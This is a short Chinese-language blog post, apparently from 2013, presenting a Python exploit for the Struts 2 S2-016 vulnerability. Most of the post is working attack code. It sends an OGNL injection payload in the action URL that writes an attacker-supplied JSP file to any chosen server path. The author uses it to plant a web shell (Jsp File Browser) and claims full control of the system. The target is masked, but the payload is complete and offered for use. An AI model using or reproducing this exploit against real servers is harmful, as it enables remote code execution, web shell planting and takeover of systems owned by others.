最近测试一个项目,发现项目组使用的Struts 2竟然是存在S2-016漏洞的版本,
于是用Python写下了下面这个Exploit程序,可以直接向服务器上传Web Shell,完全控制整个系统。

# coding: utf-8
# Date: 2013-12-05

import urllib2
import urllib

http_handler_debug = urllib2.HTTPHandler(debuglevel=1)
opener = urllib2.build_opener(http_handler_debug)
client_version = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)'
opener.addheaders = [('User-agent', client_version)]

payload = open('Browser.jsp', 'r').read()
file_name = 'test.jsp'
file_dir = '/home/xxx/xxx/xxx/xxx/domains/base_domain/xxx'
file_path = file_dir + '/' + file_name
post_data = urllib.urlencode({'data': payload, 'path': file_path})

action_url = 'http://xxx.xxx.xxx.xxx:xxxx/xxx/xxxx/xxxx.action?'

"""
exploit_url中包含将要POST的数据的两个参数:
一个是path参数,一个是data参数。
path参数是上传文件的绝对路径,包含上传文件的文件名;
data参数是要上传的文件的内容。
"""
exploit_url = r"""('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43fos\75new%20java.io.FileOutputStream(\43req.getParameter(%22path%22))')(d))&(i3)(('\43fos.write(\43req.getParameter(%22data%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))"""
post_url = action_url + exploit_url

r = opener.open(post_url, post_data)
c = r.read()

Browser.jsp文件可以通过Jsp File Browser进行下载,德国人7年前写的这个很不错,很干净。